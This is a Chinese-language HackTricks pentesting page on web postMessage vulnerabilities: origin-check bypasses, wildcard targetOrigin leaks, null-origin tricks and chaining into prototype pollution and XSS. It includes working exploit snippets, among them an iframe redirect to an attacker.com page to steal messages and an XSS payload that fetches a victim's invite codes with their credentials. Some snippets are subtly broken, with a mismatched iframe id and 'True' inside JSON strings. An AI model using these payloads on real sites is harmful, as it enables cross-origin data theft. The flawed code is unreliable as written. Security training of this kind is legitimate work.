hacktricks/pentesting-web/postmessage-vulnerabilities
2023-08-03 19:12:22 +00:00
..
blocking-main-page-to-steal-postmessage.md Translated to Chinese 2023-08-03 19:12:22 +00:00
bypassing-sop-with-iframes-1.md Translated to Chinese 2023-08-03 19:12:22 +00:00
bypassing-sop-with-iframes-2.md Translated to Chinese 2023-08-03 19:12:22 +00:00
README.md Translated to Chinese 2023-08-03 19:12:22 +00:00
steal-postmessage-modifying-iframe-location.md Translated to Chinese 2023-08-03 19:12:22 +00:00

PostMessage漏洞

PostMessage漏洞

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥

发送PostMessage

PostMessage使用以下函数发送消息:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

请注意,targetOrigin可以是'*'或URL例如_https://company.com._
第二种情况下,消息只能发送到该域(即使窗口对象的来源不同)。
如果使用通配符,则消息可以发送到任何域,并将发送到窗口对象的来源。

攻击iframe和targetOrigin中的通配符

此报告所述,如果您找到一个可以被嵌入(没有X-Frame-Header保护)并且正在通过postMessage发送敏感消息的页面,而且使用了通配符*),您可以修改****iframe来源并将敏感消息泄漏到您控制的域。
请注意,如果页面可以被嵌入但targetOrigin设置为URL而不是通配符则此技巧将无效

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

addEventListener漏洞利用

addEventListener 是JS用来声明期望接收postMessages的函数。
类似下面的代码将被使用:

window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;

// ...
}, false);

请注意,在这种情况下,代码首先要做的是检查来源。这非常重要,特别是如果页面要对接收到的信息进行任何敏感操作(比如更改密码)。如果不检查来源,攻击者可以让受害者向这些端点发送任意数据并更改受害者的密码(在这个例子中)。

枚举

为了在当前页面中查找事件监听器,你可以:

  • 在JS代码中搜索window.addEventListener$(window).onJQuery版本
  • 在开发者工具控制台中执行getEventListeners(window)

  • 在浏览器的开发者工具中转到Elements --> Event Listeners

检查来源的基本绕过方法

  • 如果使用**indexOf()检查PostMessage事件的来源**,请记住它可以很容易地被绕过,就像下面的例子中一样:("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")\
  • 如果使用**search()验证来源,可能是不安全的。根据String.prototype.search()的文档,该方法接受一个正则表达式对象而不是一个字符串。如果传递的是除了正则表达式以外的任何内容,它将被隐式转换为正则表达式。
    在正则表达式中,点(.)被视为通配符。攻击者可以利用这一点,使用一个
    特殊的域名**来绕过验证,例如:"https://www.safedomain.com".search("www.s.fedomain.com")。\
  • 如果使用**escapeHtml函数,该函数不会创建一个new转义对象,而是覆盖现有对象的属性**。这意味着如果我们能够创建一个具有不响应hasOwnProperty的受控属性的对象,它将不会被转义。
// Expected to fail:
result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
// Bypassed:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

File对象非常适合此漏洞利用,因为它具有只读的name属性,该属性被我们的模板使用,并将绕过escapeHtml函数。

绕过e.origin == window.origin

当通过<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">将页面嵌入到沙箱iframe中时,该iframeorigin将为**null**。

当设置了沙箱值allow-popups时,打开的弹出窗口继承所有沙箱属性,除非设置了allow-popups-to-escape-sandbox
因此,从null origin打开弹出窗口将使弹出窗口内的**window.origin也为null**。

因此,如果您打开一个允许弹出窗口的沙箱iframe然后从iframe内部打开一个弹出窗口并且从iframe向弹出窗口发送postMessage则两个origin都为null因此e.origin == window.origin == null

有关更多信息,请阅读

{% content-ref url="bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}

绕过e.source

您可以通过创建一个发送postMessage立即删除iframe来强制**消息的e.source**为null。

有关更多信息,请阅读

{% content-ref url="bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}

绕过X-Frame-Header

为了执行这些攻击,理想情况下,您将能够将受害者网页放在一个iframe中。但是,某些头文件(如X-Frame-Header)可能会阻止这种行为
在这种情况下您仍然可以使用一种不太隐蔽的攻击。您可以打开一个新的标签页到受漏洞的Web应用程序并与其进行通信

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

通过阻塞主页面窃取发送给子iframe的消息

在下面的页面中,您可以看到如何通过在发送数据之前阻塞主页面,并滥用子页面中的XSS漏洞来窃取发送给子iframe敏感postmessage数据,以及在数据接收之前泄露数据

{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}

通过修改iframe位置窃取消息

如果您可以在没有X-Frame-Header的情况下嵌入包含另一个iframe的网页您可以更改该子iframe的位置,因此,如果它正在接收使用通配符发送的postmessage攻击者可以将该iframe的来源更改为由他控制的页面,并窃取消息:

{% content-ref url="steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}

postMessage到Prototype Pollution和/或XSS

在通过postMessage发送的数据由JS执行的情况下您可以通过嵌入页面并通过postMessage发送利用程序来利用原型污染/XSS

可以在https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html中找到一些非常好解释的通过postMessage进行XSS的示例。

以下是通过postMessage发送利用原型污染然后进行XSS的示例:

<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}

setTimeout(get_code, 2000);
</script>
</body>
</html>

更多信息

参考资料

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥